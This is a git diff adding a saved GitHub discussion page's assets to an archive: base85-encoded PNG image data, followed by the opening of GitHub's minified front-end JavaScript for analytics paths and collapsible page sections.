z6s;gfSOFVG;$hS9Pk=R>Z4h!iL|G9RMyU$#7wPNPz%t92~e$C zw}Jrau6|ga8kO^gTEL+)8^qc=A}a|{P@x}87y$n5LoL86oBFoEz7ZI(6{;qak5d}n z3W#}65GMszLI+E*QPe=VbZ7;L@IjZR_C)VQf+Q=7H6IvC0n?9AA=iyAP8fs^&=91V z9OnH)DIkxy+{ST3j5*=k(It7_>s#mkgwdfBAjbYgSS$|czxIv;IuxX7yB%`H&(NWlgnp#8zSOQkEr`{mUyLJ86Y&Gm|* zdL(8Hm$@kNXbvhMyHA(}tOX;%^e)b6TQ(nMSi;GQYnu3o}0pytQ zy|G6C6ubwKl`G&J-uv_QVFI~<_9-hs6`A?6xj9O@{a5K#pclSZgCjqBpesv{ZUBIY z;zHM+Dz>i!{`mh~z(w1iO-I(HzhsSUwA$YOmp5K8y?-YYGrMJ{Sh*z564&kjN)_m( zLwi+`BNF<~&&q}3+~n+iQ&0GFs={x`)wDkN(DUEl@^Yi*JpH#fo%d&m=>MvKAH4sY zZ;4HQGkJbJzCEHIup(1m<^@zf6DM&TXR(8Brx{d%?rT*!x&i>wcfK`3WvrAf&My4Q zbgT0-lRNbnwoU7&@%hCHAN|n>o_jHW;Q9OK4>kVqpSS)rP~x64a<_dk5%tXKX=0xr4d>+dtjCw-^=V`7bws02wF zTm%B5Z4TB>cZZ@2iY5C(ca%;4r>QGcKmh3q7KL1#G@&&xrGUBJlYQlp~gc)C*zk;8y z?4V%hyFqk?UuZ{FpqI=00q6G%_f@Dn!tzh!2Zs zYXPaxoYq%?yfA?g;Y2XmDD~+@9-8?Sw~c8vV@*6;J>=xw24aK@1OS&J_!b{@f&%*qFf; zcx?7&_I2Khl*T~}s;AJsfFu=Y)p&67b~cRf;WYPJue)7x548rh+_Ru?*XTESVCrlN ztqylK7xenjV$xVsBlPjL=H)z9yBdj05GJUeYWD&nn9^y?Pq+E(^zZXKW7`O&c~tnh zI*VTU)zNS9CE1P#0Oo*?@B0$B3EVxm$o1unROqoUU(b%IJ5d*7itEVrRDC3718ix6 zms^{-XXbNg@AAu^yjN};+sdQ8@I6kumW7e6+@zkT>rIZBThKC}nYw@ZXb%epIkle& zN|a#=qdePqH(#9p6ae)W9iQ`^(QomSz9?B~wf#VXjjZT&Q=AGqex7jE3SU}x!ibNc~3 z)deW|^moxt1DjNKlfC2OogW(iHYdpLZR?-5$;kP}#s8>{dHn1?-dNt`P5v9|9dD3Y S39%yp0000}sP)qc!vaE-#a zFNiFP0*DCCadAAEHBU z)H#iUW;{0H@%}ST%br`}DwXO@wNe?L`@uMt;aq12C`D-hOHls^@B-vGIXr&?jXNd(a=ofo)C2?5($9Lnf2Td&(6*sjHI_9`8&C}xp48~MQCbj zf|hx+iBz9Jf{_5!FP;nX8jWU(QmJf1@=#u04tl*Fu3Wjoa5-X6p9P?vzX#Kub$YFZs^SPU!0DVz_qg8no@-*CzoAPyn1Fa|KKO^y$+hv$C=pQ2?l_s)FX` zX1IL$GPJk16JbXD=FOV~cHV*4TjtMsBJ$0M92ZAWIXUhXB>B|T)IVfqX6mu&5qYvb z)x3cK*RNlP?(S{^owIB0S}o`&yFFHb+TIyp^gO|l$E?4SmX=nH0YoHC5fu4dyLJssN=j0q08m(1 z2o)6-aOu(|sIIPty1F`OY;1&jbi$sPIPhC0gV|p!g(b2eIIc*i%oBNX2y+U1R+9%! zGd+#SH{759u?IM;5|jYPk00N0;=~D{dA_WyjO@?qU#HVi8Q`%R{JseUSI>DcafTO6 zoVoD+(Q__@Y~Dth=gE^}m~*O8z`Bj=K|jv9SAdHsfZD~OM>B5RTY@2f^ytx9hBJJtjawK>_aqTJjPBJTC*+>2rvz zNl-b=`aFPaPbEW{=gHF;M4pX_(<@-9>8alcLV$w@4{k(2Mn(q94sCE~xl2v({Q2_+ zB21dS5XlmZ1#m?N_uT9Q2!v?)4MbV zb5(M3G8{Q_q?ugzOo)qCq)o7sDbgj9zzAR`f|F;XU#YBh7hd}5abA643nUH^b9>q@6f-2GYnf%7{twVcU1Z+{ItRC*F%;*~(zZ$jl-)kPy5hcri?Z z?$I;!EbS-aT}7Z*oJLIEtf|7*zO zEwMZfkO(h@C}Dr>LBI`5RnS1u+0#qeTuJIB{BFY+f`ko;!y)I%`aM4mc*LPSJ_Sg_=g_@pV`OKPWh`@@!cCH!^%MU_*r_vJcCZrFYJMK>0sL!1?hbm&=Odr5COm9hBsmjBz?#qF$umdLHN3Y(807P;9cv0iJ$GvcfL=BX>c6n> z6`_(ua3c}$`1iM=Y2#4X81Ny?@%3$-;doRWV>uvo_=8em1jUAOTHrx z%^E5U0SZJ3SE~lWtt<(&%Iu-(YkR0)gd!|_Ai{-7_HZNA20Atl0$rdu2RQCYYnNPb z9KSR%@&iK(sP+N>-Yy984P}xcT8-%TFZzCPJ@O5>5^T>zX#QUjW{rT3;33ex+XA$! z#T_-@S-;8kA;f{Hp=5coJ_#{cnyPLPJ;ht?8$s;uC~j^WT5h9ay- z5mwtnN7(CdC(#;iBn$-IHgR`dxcFo4SA>mJ;YI=smML0nmS>IPgcNB1^S7G@z}<2Y z+>U<}ZXbIU?xYQdo;(Zq=^Qpi6hIpxuBqE*`yTfzW60V&{=H>Z538f zudxMfw)mDVLv*S(RlKk+lC$Do?(m0000ix7y#hKYTT++)VcRo-)?Yscj$0yaHpkj=!c4mCNAfGarfk8sBqWie;4=U2D;ms zFFD;`=TP=!PxfTbOizgO<$lR_1|_`~Q2bFy@w>s*;;c_`;asOnmAGWM3VT)}ISk@wdW@_3Wtdd5Khq0$#$y99q01L%-U z$3X%f$3YKhgXgu9YiNL-*q@*h1yxe!0F;U9HEUKu;T7q|!o78%tv^;ABtWmlbUXa7 zhyOuAwUbj_!P%DzMxHs>ITipknMvLR)I3_o@SAc@bQH96tb0LR5S@gesR<-N<4_~s zMwB=J&`g9RKjl;6BQz22Vmb*Xj3-DsuO5bVD>Ze9VqMCJE~Dg?i#Rp|G?5A4D53aK z5y8LRa9JZZbSE)%7hG-!iF0BHwS!Np2Sn0qDt<+zxCqd6_$+$EulVn%;`W3mjgb_v z4gC%1W~T0h96KP_2H=F;iz)t5M$Gd7jc42!3mlFcMcDk~#injD9l8xW>`U#-A;_>T z5OxxiOMuG$Cd5`-`v96uIFFsMi?5P=vZ;@nK1mOztH1bm7+5Rh-Du`&7cq4qHhz~F zxu*ddZOjV=l&&qn#t)}y=td(~x4(17+)TL4Yy--78iA=39_^(m|v0cc!nrR7)R za}kD9(cuoh@QGvwd!w_USJ|-`0BlU`tB^ zjEw?f{tyKB?rll`ID`$$Nt~TbW4s7WaH}AHD+mtENtl4_UOe*3r`{JBo0G466Tk=srl+OlH6<(< zf$)VW@s4t9>ob8NMnNf!zg|N2XTpGsxrv)=TLGMHY(m4+VFj(gj8DA$g#`{p zUYdAsXi)NaeNX1q_iYkiTl$MgBojIZO_QL=Dv0Bc0Yi)eJTcOXKA8!cxtN=UM#|TerEFj}!FMYv(Q3+QsSm*uU zh(t@cRr0p@bM?jBrB5wPEVLD}-UtRn(JU|o50wGf5kARq9xqPx~9E)-V*QhJ&<@NcCt{&`k@gC|9edZ@ceIw zGsD$IT&z~eVFI$CYH*AoG{Q1N{1GBYUi1R+d{qo#EYWVpRq_(AvwltSvsLj->;$w8 zAhAgH|A8Tf4?lhU?D_kXSiBD?Fe!(N2n#P-&WWZIn0cwGphwvm9(S)fwCM?!5;k09fT0>^2GHjOc zj%@|PYyPhFD)qI5YuY!+yu_0}XlzFd07Hxdw8Fpos|FC3i*3TJWrB`KwS>nAkZMrM z3>mU&3g5b(?Zs9*XfRf)K_;jg z{6@HDs5*#@kx+@1V8R}^Gj8{~Q}Xt-_lp-L4#6-S1cn#|T~YK)poOjpIvsRGy4Bz{ zLS~TDHZ;XSVkNjnG)Wxc%6g=%Hx@q%I-s#Dj=v5J;X{Qm{4@vQh-c#jkO@{bc#KeM z*k)LUc#Ltx`bCqtMz~w@74cQ!6Vl*t6o042&LDU{FvKV*20_Xv4?v)2vwtp-&@qBk zjgT2+#WqExiYZh?j%b3{lxUxDE9*?wcpZi-C&2BUg~H>2Aw~hglb3ol2Z*BkRf8(!;+9-iFUH>7w*rxxBugK0vMs7LKJ@J-QkcqP_-K;$*Tt_rs@Z03D9Yi2drEYTYfZlC|m z{&hWVZI1*-C=jfKZk`5XjZ4bg8m<|(A!62#o|j<1=yeJw#{nxF75)=oY!nC%!{=l1 z9fO`K$ZrNIIEKg+((J=p2dw>kz5Js6+2>8SuTXdjFg6NoXhb{Ek+^9lJf`@VAe$HL z>wTX6-v!1+K@H{SJm>Ma8D66kVZSm4%2CAZ|8w*uFL@9!E`0D(jN>oRxr4eF>_hnO zmKus-_#t3?@WD%F%-zujeGR@MF!fO2g+qhyoy#y`Y(JHLp`c68zjW-? zLqT1-g5V=8qk(-i5BeaU_nA_XyaAZCP_QOEKWW0DeJ~G(D}B$>{|YdTP_QPP2XOQl z;_T=io(G2^o_!BWz~n(eLof#(gQM}!UAiCay`jgflcirg<}nWdCJzeoKqH#)ANXI9 zC&L~R&x9~BDE+@-@I4WjyeP;`SCYK6BaUw<(S$uBzE}}|6)H3aW<4la7o{M0C-2r} zy=mGl@c`9G@z)j8^p(J@7X|BuGvV#1gq!idGGWKhdM1F?sN-%UDA*9Hgq|HXVHA`r znZL0+irxgwMp3X~WJ322nJ@xMRq=l)6y5^NW>Byx(1#y{3AeH&N4I(4Nql=#(_4Yr zEDAP@Ot^WwPKV>wY0r5CrJRzR-#}_=}FUPAzOd!*yJ0i1J%1d3_aTu1WyKLt5LA! z@Y@&O%k{&H^@`_*vh5Y|qquiG6qxNm!FIsU6Yk%cBt;78hoG^X7aYEy=bo-G{4IaI z0?c-yV7sXN_#zCy3PHD*^-i+EG1q~$+yl&ZqhPzyCrdYSI3AG+o?*vh4ko+@n4Lhu zj!;h1mq6g(JM=BI^XV24gywLYi1d%B0SabF~gmSxG3CCio<$%cJ_dvT$Q8zBA@BZz+_d8fQU9w0A}AVCb< z@%~bU>nF`V>r`G)z@Erb(ZRuA3S&fKOZ9^ zL}WiUjNS|p0pR4IiRcBLe5{=uw0F}l;^brPXC@DC#N|RG2rN64|K|DkSsN0w#Xesbrty>DD zb!)Vm9qc23_HIi#l?&jBPq%vl0(3v4dkDxOatItEn}Xrleo23}y3i}=uH?!l!7cmNJ2fXkH9r`}iR#}7t}`C>On!Z3dH0B!AT z&r3h3!x|wciA*BhF-(hpw>f#@GqKrjn~ZPBkbglG^g}ox0Far?-`c(JI8Ha9Lroto zk9$iG`bP$M2h1H987Kpm1}I?wh_`@(V6lf`AQGVXAjD8`*)-0vf2=&|2DE3#xcB}2 z{oPCz1UEt)=7AxNY8@nqX%~(giJ9o@K29_Fw*(+b(oFyAc6H}ixL)JOfWAF{ci_|@ ziOvX+!*1<0<$e_sAQG*|r)cyz5yWONA0o<(^xbMcFirDlJjZ8w^?H2`HwDKY&2Cqw z%ymG)0f@j8dY}~SA@VrszDS&xwQtuR9u3;Fqd-4cd^mDuMDRisV05x9+GPX+rO=z$ z7qO0ASe~d=wpULM+AxeIvl7zmZ)VeQG#2ZR01iQvu4V}I?0a)hBn~MBZ5kf8_4Z+? zj?wg;nY+VNBZLXq(A;V&W4?zDBcP9w5-Lxn);$4Z=mi#sa5DSV=KaIG@KIshw(YXD z7Sv)9)MTlIG6on@TaTzU?kFhY1IfKMI7og=L~DK3$FoOyz;r)-Z{~jA={)&Kf-h)p z7CIqq1TkPh6m=9tDFg>0-}{FU1{x$nXf4$m>(#%vZ@1eiA~{qZwr$Th78ON~&J~Yl zvuRL4rsNcifQsHlI1VW;uj3#8-iS1B%JYIN`n<^4S$n$OE z`Fd@B)7omKD~>twW9_`L#GMR*w z321+#w%K3TFSE+Z51Y51>&tba%Gk8)h&btChN5zEbZhVHWjdoMBU#=g0vS&JmBGKw zes(D6s6Abr(NQ$0g z*NxrVW%>02>r=!iI0Q0+O)F#7<(1{wxTR`(W^Yc*Y7p^X?x@nj%mSW|<)ZSKYF(1o zTI*|HJZsMEQc}MZ#T_KpM6u9ltT%Qat*X~bC^2u=gAK$)Fe{7=e7-Ur?KDNx3(L=q zk|ls*sOHMkvi_>X6Svr1^GzDgSeN7tdAsuI?7^cgGM%V)WAiWOH{2ZNd3AqnN4we& z3_WUiLM!=W!uY=Zm+aZ+PgCR(XnLc*Stu6boltGPx>c;RjFd#|UF}{f6=eHzW=q{$ z{(NTt-a5F@BQ83g3b^>{4>wz8Q@v0M8?*^n+@mwd=CZeT?k2MBm^}J2ef(rwIA>4F zOM4Z0REw0-?uMdX68kJZtWr^itJ=;$?T4>s_ogdk*kTwdHvh<>+VqM&2$|D45ePz# zg@(jv1Ca#Q8R`DacM#EBOdkDe(FBvX?=s~$&fL@aP|8ubQPK@Q-%$~D0L#hnnp!>6 zT>R?E?$^t9%?SM+fzz_~zFcOnX5~ROoR1bq9Jr}4l)0aoqBh-l*lM-XE0=-NK)c=o z1-uHhGFLV)$lx6%?1amA>x8mf#dziic$68tlC7Q9mmbb;f3alm>40GFwfF8+lxroX z$`Hg`o6{L_trU3fz~!o!iqmsdhh$jw^NtnTu zl?@apAVcY5U)?tMpUmYBG^MC&?+);4S1iO4SO9J&L)5uq;`a=|WCofLMRI+bF{UXR z5f}|)v9&4LUI#fT(VesZrQjX931b)j!X>#(A{t)9S=ALovX!PBa?imMX@@L5|9bV z;otS`=KB+GN83wAM6AKqU?b|4Ic^IC<%TPXURP*6w6;(Mc!3)I@ehy(nJ~B~kXuJ1 zO*KXb`UgZyoh}amuD)``s3sFxj@xt{lZyV_zzB!kA$LUDEJh6l?ih4G29d9;)?V|2 z@pnQbsf#t^W8*ia_sj!5#*+i6GH+!IAX+k{r>IGqBR^ufQXmh01O5m^lOCY)YH4I> zB++EbNdND<|8shw z;_p8E1ZG-^o8s=mN(Ixk#k@oi!NV+=q9q!^;7;!B#8d*?p@nTOm;3e9FIyW2$zCPT z35Z$bHGdT4u|;(RKT1<)eG>u~Nv_^#UoTuuU1vOW0rK+s*RI!Jv-KFaC?i<`0&o4+ z19m*$(ekKM3Z1uG+)`hC=|XB#M|rQ0-up#vCW!_m5X-otbHq+TreneQ!El8zOgj9l zOv8LP_j)Ir=`Js7ilY4ft=||6jo4mZ2n8qv-{dWs3-^+a6VWdzok*BW6rut(v9fjf z?4?dfU9C@#kB)tm|8Jw#j%IPFAWs`&vJUfvnA1(U1NR|Da6$aIce!oa*K=2oc*=Nu zaC`5K8)wVIZWiVXn7M3`uM6=-{1guhJ9zLRdu@baFhMsUILrFAvsY8WbhSS1*(dLR zOi!8wfs;l-HbQ(0pZp@kN*jp%qzKT^%Xwy7_O;AKMNv|b^zcY7pUeOD+{b#Q5k_!^ zoe6eW0)YQuC`Nc9yo45U)a0z{?_aonG@foB$-Q#++=u3ymTrZ^skjMAieV>CE*r;9 zN==7r+Iz_4ZeWw$wpx|CHQN|i)^7HHa2U;j_3*^@|8Lx!{dA%6hVPykKyrwPY)|fj z>{w>S5EL$V$Fz-F8>;pI6h@Vyq0GRLTpBqwQYw{>rO&Heu&397c6N9E@aT`~#ex`9 zlgQ+`JO;Xvc&hCR=C$$eR-<(QTQO*U9w&h_U?#X>PZp3mp=-pb&=@$HPB zU!8dS@>`>o5k$=A^SNA3lB5^(u1Kn#@GS%Yn4Fw^0eHHyp5H?F=~%ZeuhahXwph2; oLm2<**uSdjA5k9v3;+QC{{_cV+~#5IKmY&$07*qoM6N<$f(5X4$^ZZW literal 0 HcmV?d00001 diff --git a/archive/Problem 3 Toggle multilib · Discussion #14 · Ta180m_Idiot-Code-Golf_files/50341827_002.png b/archive/Problem 3 Toggle multilib · Discussion #14 · Ta180m_Idiot-Code-Golf_files/50341827_002.png new file mode 100644 index 0000000000000000000000000000000000000000..8ef64b2c24c3cbe04945ff1d3784fa7eeb967e6c GIT binary patch literal 3124 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 x=Object.defineProperty;var t=(R,L)=>x(R,"name",{value:L,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["app_assets_modules_github_behaviors_details_ts-app_assets_modules_github_behaviors_include-fr-a5a4c7"],{47930:(R,L,r)=>{r.d(L,{S:()=>y});function d(p){const o=document.querySelectorAll(p);if(o.length>0)return o[o.length-1]}t(d,"queryLast");function A(){const p=d("meta[name=analytics-location]");return p?p.content:window.location.pathname}t(A,"pagePathname");function _(){const p=d("meta[name=analytics-location-query-strip]");let o="";p||(o=window.location.search);const a=d("meta[name=analytics-location-params]");a&&(o+=(o?"&":"?")+a.content);for(const i of document.querySelectorAll("meta[name=analytics-param-rename]")){const m=i.content.split(":",2);o=o.replace(new RegExp(`(^|[?&])${m[0]}($|=)`,"g"),`$1${m[1]}$2`)}return o}t(_,"pageQuery");function y(){return`${window.location.protocol}//${window.location.host}${A()+_()}`}t(y,"requestUri")},10178:(R,L,r)=>{r.d(L,{O4:()=>C,jo:()=>T,Qp:()=>S});var d=r(33948),A=r(59753);const _="ontransitionend"in window;function y(n,l){if(!_){l();return}const g=Array.from(n.querySelectorAll(".js-transitionable"));n.classList.contains("js-transitionable")&&g.push(n);for(const f of g){const w=p(f);f instanceof HTMLElement&&(f.addEventListener("transitionend",()=>{f.style.display="",f.style.visibility="",w&&o(f,function(){f.style.height=""})},{once:!0}),f.style.boxSizing="content-box",f.style.display="block",f.style.visibility="visible",w&&o(f,function(){f.style.height=getComputedStyle(f).height}),f.offsetHeight)}l();for(const f of g)if(f instanceof HTMLElement&&p(f)){const w=getComputedStyle(f).height;f.style.boxSizing="",w==="0px"?f.style.height=`${f.scrollHeight}px`:f.style.height="0px"}}t(y,"performTransition");function p(n){return getComputedStyle(n).transitionProperty==="height"}t(p,"isTransitioningHeight");function o(n,l){n.style.transition="none",l(),n.offsetHeight,n.style.transition=""}t(o,"withoutTransition");var a=r(96776);function i(n,l){l.find(g=>{const f=n.querySelectorAll(g),w=f[f.length-1];if(w&&document.activeElement!==w)return w.focus(),!0})}t(i,"findAndFocusByQuerySelector");function m(n){i(n,[".js-focus-on-dismiss","input[autofocus], textarea[autofocus]"])}t(m,"restoreAutofocus");function c(n){!n.classList.contains("tooltipped")||(n.classList.remove("tooltipped"),n.addEventListener("mouseleave",()=>{n.classList.add("tooltipped"),n.blur()},{once:!0}))}t(c,"hideTooltip");function E(n){return[...document.querySelectorAll(".js-details-container")].filter(l=>l.getAttribute("data-details-container-group")===n)}t(E,"groupMembers");function h(n){return[...n.querySelectorAll(".js-details-target")].filter(l=>l.closest(".js-details-container")===n)}t(h,"containerTargets");function v(n,l){const g=n.getAttribute("data-details-container-group");return g?((0,a.uQ)(n,()=>{for(const f of E(g))f!==n&&s(f,l)}),g):null}t(v,"toggleGroup");function s(n,l){n.classList.toggle("open",l),n.classList.toggle("Details--on",l);for(const g of h(n))g.setAttribute("aria-expanded",l.toString())}t(s,"updateOpenState");function S(n,l){var g,f;const w=n.getAttribute("data-details-container")||".js-details-container",M=n.closest(w),D=(g=l==null?void 0:l.force)!=null?g:!M.classList.contains("open"),I=(f=l==null?void 